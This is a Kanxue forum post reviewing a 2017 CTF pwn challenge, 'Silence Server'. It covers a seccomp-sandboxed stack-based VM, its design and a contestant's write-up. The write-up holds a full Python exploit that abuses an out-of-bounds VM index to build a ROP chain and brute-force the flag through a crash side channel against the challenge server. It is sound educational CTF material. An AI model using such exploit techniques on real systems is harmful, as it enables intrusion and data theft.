-
-
[推荐]看雪.WiFi万能钥匙 CTF 2017第九题 点评及解题思路
-
发表于: 2017-6-19 17:24 4100
-
看雪CTF 2017 比赛进行至第九题
截止至今天中午12点,第九题破解人数为2人!
防守方 hsadkhk 夺下首位~
此题过后,前十名排名保持不变。
这道题是否会成为分水岭式的一道题呢?
是否会有黑马一战成名呢?
期待ing......
接下来我们来回顾一下第九题
看看 看雪评委和出题者是怎么说的ヾ(๑╹◡╹)ノ"。
看雪评委 netwind 点评
该题既要求选手有一定的crack功底,又需要掌握一定的PWN技巧。该题数据通过DES加密后传入,DES密钥隐藏在一个八元一次方程组里。程序的主体部分是作者实现的一个简单的基于栈的虚拟机,程序的漏洞存在于对索引类型数据边界没有作严格检查,通过编排数据,在未初始化的虚拟机栈上构造出一个越界的指针,使用load和store来索引的时候就会产生一个越界的读写,从而控制返回值。由于程序始终没有任何输出,并且禁用了大量系统调用,使得此题难度陡增,是十分精彩的一题!
作者简介
虽然看雪ID是 hsadkhk,不过我常用的 id 其实是 explorer。是一个在读大学单身狗,大学期间最大的愿望是能参加一次 defcon。比较擅长的方向是pwn。接触看雪的时间和学二进制的时间一样长,在看雪学习了很多。这次受 netwind 大佬邀请出了一个pwn题,欢迎喜欢做二进制的朋友一起交流经验。
看雪 CTF2017 第八题设计思路
一个不算是太难的pwn题吧。属于正常人类能做出来的题目范畴。
设计思路
这一题的灵感来源于刚刚结束的DEF CON2017的mute和insanity两个题目。结合了这两个题目比较有趣的点之后写出了这题Silence Server。
1. 禁用 syscall
Silence Server 顾名思义,整个题目没有任何一句输出的代码,甚至使用了seccomp来禁用掉了包括 write 在内的绝大部分系统调用。因为 seccomp 对系统调用的禁用是不可能被取消的。所以即使能通过透漏控制程序执行或者拿到 shell。也无法将 flag 输出回来。这个是这一题的比较坑人的地方。
下面是禁用 syscall 的代码。除了白名单中的 10 个系统调用之外,其他全部无法使用。
2. 简单虚拟机
这个程序的主体部分是我自己实现的一个非常简单的基于栈的虚拟机。整个虚拟机只有17条指令。除了 push_d 指令之外的所有指令的操作数都是存放在一个栈中的。类似于x86上浮点指令的语法。当然和普通vm指令不同的一点是这个虚拟机是区分数据与索引的。对于纯粹的数据与索引有两套不同的字节码运算指令。我将64bit数据的最高位作为flag来区分数据与索引。最高位为1的数据将会被解释为索引类型,对这种类型的加减运算将会检查索引边界是否超过栈的范围(可以认为一个固定大小的栈是这个这个虚拟机的所有内存,不能索引超过栈内存的数据)。当然,程序的漏洞其实也就存于索引类型边界没有严格检查的地方。
下面是 17 个 opcode 的定义。行为根据名字应该就能猜到。
3. des 解密与求解 8 元一次方程组
最后是程序的输入部分,为了不让程序的输入部分太过直白:) 而且也为了满足后续漏洞利用的一个重要条件。程序需要用户输入des加密过opcode和密钥。我写了一个8元一次方程组,输入的密钥必须是此方程组的解才能进行解密。当然,des不用静态编译肯定是不够意思的:)
破解思路
1. 输入数据
为了能够输入数据,让虚拟机执行。首先要做的就是解 8 元一次方程组来获取密钥。方法和工具有很多z3,angr,matlab,python 的数学库。即使是手算我想也不是很困难:-)
然后就是 des 加密和生成字节码的工作。des加密很简单,我用的是标准的 DES-CBC。用 python 的 Crypto 库可以轻松加密。至于生成字节码,因为只有 17 个字节码而且几乎没有后继的立即数。所以直接写一个 python 字典来替换就可以了。
下面就是生成一个完整 payload 的代码
2. 漏洞位置以及利用
首先,这题我开启 linux 上的全部6种二进制漏洞保护:)所以普通的 shellcode,栈溢出等是没法用的,而且 mmap,mprotect 等系统调用都被禁用了。
虚拟机中提供了 load 和 store 可以存取索引类型所引用的内存的功能。而且在load和 store 中其实是不检查索引类型是否越界的。对索引越界的检查全部都是放在索引类型写到栈上的时候。具体来说就是 change_to_point,p_add,p_add 这 3 个 opcode 中会检查。这样可以保证所有写入到栈上的索引类型不越界。程序的漏洞就在于,虚拟机使用的栈是存放在系统栈上的,而且在使用之前没有被初始化过。这样我们可以通过编排数据,来在未初始化的虚拟机栈上构造出一个越界的指针。这样使用load和store来索引的时候就会产生一个越界的读写。从而控制返回值。
3. 具体利用细节
首先是如何在虚拟中栈上构造越界的索引。在 getCode 函数中,输入的加密数据也是储存在栈上的。所以只要在加密数据之后构造就可以了。而且 opcode 中有 stop 这个指令,所以不用担心解密出来的错误code。这样就可以在 runCode 的虚拟机栈上构造出一个越界的索引了。当然,具体的偏移需要好好算一算
然后是 pie/aslr 绕过。因为 aslr 和 pie 的关系。内存中的地址都是随机的。因为没有输出,所以没有办法 leak 地址。不过只要将返回值读取进来,直接写字节码来对返回地址加减偏移,再将算好的地址写回去。这样就可以在不 leak 的情况下调用任意的 libc 函数以及 rop 了。
下面是读取并计算 libc 以及程序加载基地址,并且储存在栈最低位的代码
side attack
虽然通过漏洞能够成功的执行rop。通过open,read就可以将flag读取到内存中。但是还是没有办法将flag输出出来。所以只能用side attack。我在libc里找到了这样一条rop
当cl等于[rsi]的时候则跳转。否则返回。我们看一下跳转后的代码。
如果我们将rdi设置为0 。就能够让程序崩溃退出。
只要将rsi指向读取到的flag,再通过rop设置cl。这样就可以让flag和我们指定的字节做比较。如果正确程序就崩溃退出。如果错误的话,下一个rop链可以跳转一个getchar来block停住程序。这样就可以根据程序是否崩溃来爆破flag的值了。通过反复的连接测试就可以得到完整的flag。
下面选取攻击者 kkHAIKE 的破解分析
前言
1. 这题又是一个 pwn,促使我觉得自身的水平实在不够(第四题就用完了),就去学习各路 dalao 的 writeup,附赠一篇。
2. 体会到几个工具的便利:
checksec,替换我之前用命令行查看程序安全特征
pwntools,替换我之前用的 python 自带库 subprocess/telnetlib
ROPgadget,别人都在用,用的人都说叼,我还是手动靠谱
3. 学到几个 pwn 关键词
ROP 就是复写函数返回堆栈之后一系列的堆栈内容的集合
gadget 就是在所有已确认的二进制文件中可利用的代码片段
4. 在做这题的过程中踩了无数坑,我会在 writeup 中提到部分坑点(毕竟踩完坑才能写出这篇)。
5. 这题"可谓集大成也",我会分反汇编、pwn 两大部分阐明
反汇编
主函数
主函数流程比较简单,就不贴代码了
设置 seccomp 规则(后详)
获取 虚拟机指令码
执行 虚拟机
获取虚拟机指令码
图1
1. 一上来就要解个8元线性方程组,用 python 写个
import numpy as np a = np.array([ [30971, 31063, 18211, 23911, 20327, 20921, 20149, 17477], [20051, 20359, 16699, 31121, 20641, 23633, 29759, 25111], [25943, 27073, 25561, 23333, 26099, 17291, 27457, 30839], [29873, 18313, 29167, 25411, 32191, 18959, 19079, 16879], [16607, 29437, 19469, 32441, 28859, 20509, 23581, 26849], [16823, 19927, 26161, 18869, 19973, 26981, 17431, 26633], [26821, 19073, 28349, 30577, 25793, 22091, 31397, 26947], [25339, 17737, 30817, 26183, 29629, 22691, 27793, 19447] ]) b = np.array([14985352, 14962906, 16361024, 14982624, 16152948, 14720714, 16722910, 15883204]) r = np.linalg.solve(a,b) print str(bytearray(np.rint(r).astype(np.uint8))).encode("hex")
2. 解出 key 为 3378704c30723352
3. 根据 图2 画框几处特征辨析为 des 的 set_key 过程
图2
4. 记录坑点,之前我并没有仔细看 des_cbc 函数内的算法,就拿普通的 des_ecb 做了测试,发现解密的结果不对,然后就偷懒直接改函数最后一个参数(mode 0解密,1加密)让程序帮我生成密文,直到后面实在需要自动生成 payload 之后才回过头看这个。
5. 根据图 1 和图 3 几处特征:
① 加密函数需要比 ecb 多传一个参数 IV,并且 IV 就是 key 本身;
② 加密时先用 IV 与 明文 异或,再用结果加密符合 cbc 特点。
图3
执行虚拟机
该部分代码很长也比较晦涩,感觉要纯靠经验和耐心看完,所以我只附上虚拟机的指令解释。
这个虚拟机是基于堆栈的虚拟机,函数内有个 1000 字节的堆栈数组变量,我就命名为 buf 吧(其实命名 stack 更合理),本文之后出现的 buf 没特殊说明外均指该数组,命名 栈顶指针 为 bufp,定义 次顶层堆栈 为 栈次(bufp-1)
指令码(10) | 描述 | 操作 | 栈顶变动 |
---|---|---|---|
16 | 正数加法 | [bufp-1] = [bufp] + [bufp-1] | bufp-- |
17 | 正数减法(差也要是正数) | [bufp-1] = [bufp] - [bufp-1] | bufp-- |
18 | 正数乘法 | [bufp-1] = [bufp] * [bufp-1] | bufp-- |
19 | 正数除法 | [bufp-1]...[bufp] = [bufp] / [bufp-1] | |
20 | 取值(栈顶原值 buf 偏移) | [bufp] = buf[[bufp]] | |
21 | 赋值(栈顶 buf 偏移,赋栈次值) | buf[[bufp]] = [bufp-1] | bufp-=2 |
22 | PUSH(8字节立即数参数) | [bufp+1] = ipt | bufp++ |
23 | 负号变换(用不了) | ||
24 | 负号加法(用不了) | ||
25 | 负号减法(用不了) | ||
26 | 小于比较 | ok = [bufp] < [bufp-1] | bufp-=2 |
27 | jmp 跳转(栈顶 代码偏移) | ip += [bufp] | bufp-- |
28 | jge 跳转(根据 ok 结果) | ip += [bufp] | bufp-- |
29 | nop | ||
30 | jl 跳转(根据 ok 结果) | ip += [bufp] | bufp-- |
31 | exit |
有几个坑点要注意:
指令结束,栈空则崩溃(bufp == buf)
指令完整执行完,也崩溃,一定要用 exit 退出
反汇编总结
我们有在 执行虚拟机 函数内随意而又精准得操控 buf 变量之后堆栈的能力,能在这个函数末尾构建 ROP。
PWN
函数安全扫描
看到 dalao 们一开始都会做这个,学习一下 ./checksec.sh --file Silence_Server
RELRO | STACK CANARY | NX | PIE | RPATH | RUNPATH | FILE |
---|---|---|---|---|---|---|
Full RELRO | Canary found | NX enabled | PIE enabled | No RPATH | No RUNPATH | Silence_Server |
Full RELRO + PIE enabled = 有 ASLR
Canary found = 函数有堆栈保护
NX enabled = 堆栈代码不可执行
seccomp
seccomp 是个能在程序中开启的沙盒,能根据规则限制自身以及子进程的 syscall 访问,先贴个代码看程序准我们干什么
void seccompinit() { LODWORD(ctx) = seccomp_init(0LL); if ( !ctx ) { LODWORD(v0) = 0; BUG(); } ctx_ = ctx; seccomp_arch_add(ctx, 0xC000003ELL); // SCMP_ARCH_X86_64 allow_syscall(ctx_, 0); // sys_read allow_syscall(ctx_, 2u); // sys_open allow_syscall(ctx_, 3u); // sys_close allow_syscall(ctx_, 4u); // sys_newstat allow_syscall(ctx_, 5u); // sys_newfstat allow_syscall(ctx_, 6u); // sys_newlstat allow_syscall(ctx_, 7u); // sys_poll allow_syscall(ctx_, 8u); // sys_lseek allow_syscall(ctx_, 12u); // sys_brk allow_syscall(ctx_, 59u); // stub_execve seccomp_load(ctx_); }
记录坑点,之前我还不知道 seccomp 沙盒机制的时候,看到放行了 execve,就自认为能调用system("/bin/sh")了,然后洋洋洒洒的写了一大板 ROP 准备测试。什么!!错误的系统调用,看来被 seccomp 限制住了,然后尝试 execve("/bin/sh",0,0) 也是一样,最后自己写个简易的测试代码,在这个规则下,连空程序都无法启动,血的教训,一定要先写测试代码
尝试绕过 seccomp
因为没有 write 的 syscall,这个规则下无法输出任何东西,我在想能不能尝试绕过呢
在还是在不知道 seccomp 多强的情况下,我尝试自己调用 seccomp_release/seccomp_reset 等,都无法去除已调用 seccomp_load 被内核载入的规则
搜到网上的一篇文章,里面提到用 retf 切换 cpu 成32位可以绕过过为64位写的规则,但文章里的题目堆栈是可执行 shellcode 的,也许这条路能走通,我没有深入
柳暗花明
我反复思考了规则内能使用的 syscall,都没有想出任何用法,没有 mprotect,不能把堆栈变为可执行,brk 也只能更改 映射的下限,其他的都是文件操作了,难道就没有路走了么?
程序题干里,与第四题不同的是详细的说明了 flag 的路径/home/pwn/flag,提示了我这题应该要用 open 直接 read 内容
突然脑袋里闪过这一题的标题 Silence Server,silence 是沉默的意思,我想到了一个就算不输出,不说话也能够交流的办法。我可以问程序:第一位是 a 么?不是的话程序退出了,是的话程序正常进行。这样考虑,就算不用说话只要它能听懂就能够交流出结果
ROP 构思
open 是可以使用的 syscall,我可以操控堆栈,把文件名用堆栈传给 open
read 也可以使用,我可以在内存映射中找一块固定的可写的区域,存放读出文件内容
记录坑点,之前我为了找 open 的返回(rax)转成 read 的参数(rdi),花了很久时间,结果突然想到,open 返回的是从 0 开始的数字,0/1/2 被系统内定成 标准输入输出 了,从 3 开始就能够被程序自身使用,一般情况下,就是 3 (这里考试要考)
可以用 memcmp,文件内容的处字符和我指定位置的字符(可以随意找个有指定字符的地址,不用自己输入,很多地方都有)
最后判断 memcmp 的结果,不一样就退出程序,一样就继续程序的执行
gadget 寻找
从构思看我们需要
1. 从堆栈转移到参数寄存器的利用点,64 位 linux,调用约定前三个参数是 rdi、rsi、rdx,大家也可以用 ROPgadget 工具,我用的是 keypatch 生成字节码,用 winhex 搜索
pop rdi; ret (5F C3) Silence_Server +0xfe3
pop rsi; ret (5E C3) libc.so +0x21747
pop rdx; ret (5A C3) libcs.so +0xba6c0
2. 在 libc.so +0x1726C0 有个 0-255 的表
图4
需要一个判断 rax 假就退出的地方,这个地方就很完美
图5
顺便附上 虚拟机运行 的堆栈图,其他的代码里再详细解释
图6
获取代码
因为服务器对传输敏感,send 间的延迟时间需要反复调整,记录坑点,调整这个时间也花了不少时间(没有经验),有时候还怀疑自己的 payload 有问题,但手动又没问题,本地也没问题,结果是在这个 sleep 上,代码里是经过多重考核的非常稳定的延迟时间。因为单字符测试等待的时间较久,设计成了参数模式用来多进程执行
from Crypto.Cipher import DES import struct import time import sys def enc(s): key = "3378704c30723352".decode("hex") des = DES.new(key, mode=DES.MODE_CBC, IV=key) return des.encrypt(s) def savebase(ori, diff, dst): r = chr(22) + struct.pack("<Q", diff) # ↑压入地址与基址的偏移,作为减法的减数 r += chr(22) + struct.pack("<Q", ori) r += chr(20) # 从 buf[ori] 获取值压入被减数,一般获取的是 ASLR 当前地址 r += chr(17) # 减完以后栈顶就成了想保存的 ASLR 当前基址了 r += chr(22) + struct.pack("<Q", dst) r += chr(21) # 把基址存入 buf[dst] 的地方 return r def savelibc(): # 调用堆栈中 __libc_start_main 返回地址在 buf[1013] 处 # 相对 libc.so 地址为 0x21B35,拿到基址存在 buf[999] return savebase(1013, 0x21B35, 999) def saveexe(): # 调用堆栈中 虚拟机执行 返回地址在 buf[1009] 处 # 相对 Silence_Server 地址为 0xa4c,拿到基址存在 buf[998] return savebase(1009, 0xa4c, 998) def saversp(): # buf[1015] 存了一个堆栈地址可以被利用 # 存的地址相对于 __libc_start_main 返回地址为 28*8(可以用 gdb 在启动时看到) # 所以相对于 buf 的偏移就为 (1013 + 28)*8,拿到 buf地址 存在 buf[997] return savebase(1015, (1013 + 28)*8, 997) def pushaddr(solt, diff, dst): r = chr(22) + struct.pack("<Q", diff) # ↑压入地址与基址的偏移,作为加法的加数 r += chr(22) + struct.pack("<Q", solt) r += chr(20) # 从 buf[solt] 获取值压入另一加数,一般获取的是 ASLR 当前基址 r += chr(16) # 加完以后栈顶就成了想使用的 ASLR 当前地址了 r += chr(22) + struct.pack("<Q", dst) r += chr(21) # 把地址存入 buf[dst] 的地方 return r def pushlibc(diff, dst): # 取出 libc.so 偏移后地址到 buf[dst] return pushaddr(999, diff, dst) def pushexe(diff, dst): # 取出 Silence_Server 偏移后地址到 buf[dst] return pushaddr(998, diff, dst) def pushrsp(diff, dst): # 取出 buf 偏移后地址到 buf[dst],和上面不同的是 diff 是按 buf 索引传入的 return pushaddr(997, diff*8, dst) def pushim(im, dst): r = chr(22) + struct.pack("<Q", im) # ↑压入立即数到栈顶(只能是正数) r += chr(22) + struct.pack("<Q", dst) r += chr(21) # 将立即数保存到 buf[dst] return r def setp0(dst): # gadget: pop rdi;ret 在 Silence_Server 偏移 0xfe3 的地方 # 可以把下一个堆栈传入第一个参数 return pushexe(0xfe3, dst) def setp1(dst): # gadget: pop rsi;ret 在 libc.so 偏移 0x21747 的地方 # 可以把下一个堆栈传入第二个参数 return pushlibc(0x21747, dst) def setp2(dst): # gadget: pop rdx;ret 在 libcs.so 偏移 0xba6c0 的地方 # 可以把下一个堆栈传入第三个参数 return pushlibc(0xba6c0, dst) def makerop(idx, cc): # 返回地址在 buf[1009] pos = 1009 # 保存所有基址 rop = savelibc() rop += saveexe() rop += saversp() # 构建ROP rop += setp0(pos); pos += 1 rop += pushrsp(1009 + 6, pos); pos += 1 # ↑第一个参数传预打开的文件名地址,指向6个堆栈后,之后会压入文件名 rop += setp1(pos); pos += 1 rop += pushim(0, pos); pos += 1 # 第二个参数传只读打开(0) rop += pushlibc(0xE8A09, pos); pos += 1 # 调用 __open_nocancel,在 libc.so 偏移 0xE8A09 rop += pushexe(0xFE0, pos); pos += 1 # gadget: pop r14;pop r15;ret 清除后两个堆栈,在 Silence_Server 偏移 0xFE0 #/home/pwn/flag 拆分成2部分 /home/pw n/flag\0\0 rop += pushim(long("/home/pw"[::-1].encode("hex"), 16), pos); pos += 1 rop += pushim(long("n/flag\0\0"[::-1].encode("hex"), 16), pos); pos += 1 rop += setp0(pos); pos += 1 rop += pushim(3, pos); pos += 1 # 第一个参数文件号,这个程序之前没文件打开一般都是 3 rop += setp1(pos); pos += 1 rop += pushexe(0x207800, pos); pos += 1 # 第二个参数读出缓存,我选了 Silence_Server 偏移 0x207800 的地方 # 这个地方属于 data 段可写,因为是对齐部分,程序自身不可能用到 rop += setp2(pos); pos += 1 rop += pushim(64, pos); pos += 1 # 第三个参数读取字节数,64字节就够了 rop += pushlibc(0xE8BF9, pos); pos += 1 # 调用 __read_nocancel,在 libc.so 偏移 0xE8BF9 rop += setp0(pos); pos += 1 rop += pushexe(0x207800 + idx, pos); pos += 1 # 第一个参数待比较地址1,我传入的是读入内容的 idx 偏移,也就现在测第几个字符了 rop += setp1(pos); pos += 1 rop += pushlibc(0x1726C0 + cc, pos); pos += 1 # 第二个参数待比较地址2,在 libc.so 偏移 0x1726C0 的地方有个 0-255 的表可以利用 rop += setp2(pos); pos += 1 rop += pushim(1, pos); pos += 1 # 第三个参数比较字节数,就比较一个字符 rop += pushlibc(0x890C0, pos); pos += 1 # 调用 __memcmp_sse2,在 libc.so 偏移 0x890C0 rop += pushexe(0xBB4, pos); pos += 1 # gadget: Silence_Server 偏移 0xBB4 的地方有个返回值 rax 判断 # 可以利用成字符不相等程序发生写0崩溃 rop += pushim(0, pos); pos += 1 # 上面的函数返回前有个 rsp+8 的操作 rop += pushexe(0xA36, pos); pos += 1 # 如果字符相等,又返回 main 中调用 获取输入 的地方 # 主要是为了使用里面的 read 函数 rop += pushim(0, pos); pos += 1 # 上面的函数需要 rsp+4 保存返回长度,其实这条没有也可以 rop += chr(22) + struct.pack("<Q", 0) # 虚拟机执行完毕后必须栈不能空,要不崩溃 rop += chr(31) # 虚拟机代码不能执行完必须中途退出,要不崩溃(这两个什么鬼) # 补充 nop 指令至8字节对齐,获取输入部分是 单位长度*8 的 roplen = len(rop) for _ in xrange((roplen +7)/8*8 - roplen): rop += chr(29) return len(rop)/8, enc(rop) def test(net, ss, ee): ret = "" import pwn for ii in xrange(ss, ee): ok = False for cc in xrange(0x7F, -1, -1): #小写字母多的话,从后面会快 if cc != 0 and cc <= 0x20: # 跳过不可见 continue roplen, rop = makerop(ii, cc) if net: p = pwn.remote("211.159.216.90", 51888) else: p = pwn.process("/root/Silence_Server") time.sleep(0.5) p.send(chr(roplen)) # 输入单位长度 time.sleep(0.5) p.send("3378704c30723352".decode("hex")) # 输入 des 密码 time.sleep(1) p.send(rop) # 发送 rop time.sleep(1) ok = True try: p.send(chr(1)) time.sleep(1) p.send(chr(1)) # 一般要第二次发送才会触发网络异常 except: ok = False if ok: if cc == 0: # 比较到字符串末尾 0 结束 print "finish" print ret sys.exit(0) else: # 打印该位置成功的字符 print ii, chr(cc) ret += chr(cc) break if not ok: # 如果一个字符都没比较成功肯定出问题了 print "what?" sys.exit(0) print ret test(True, int(sys.argv[1]), int(sys.argv[2]))
最后感谢 WiFi 万能钥匙安全应急响应中心的赞助支持,
接下来的比赛大家一定要使出洪荒之力哦!↖(^ω^)↗
比心 ❤
上海连尚网络科技有限公司成立于 2013 年,是一家专注于提供免费上网和内容服务的移动互联网企业。连尚网络自主研发的核心产品 WiFi 万能钥匙,以分享经济的模式,通过云计算和大数据技术,利用热点主人分享的闲置WiFi资源,为用户提供免费、稳定、安全的上网服务,以帮助更多的人上网,找到属于他们的机会,改变自己的命运。
往期热门内容推荐
更多比赛详情,长按下方二维码,“关注看雪学院公众号”查看!
看雪论坛:http://bbs.pediy.com/
微信公众号 ID:ikanxue
微博:看雪安全
商务合作:wsc@kanxue.com
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!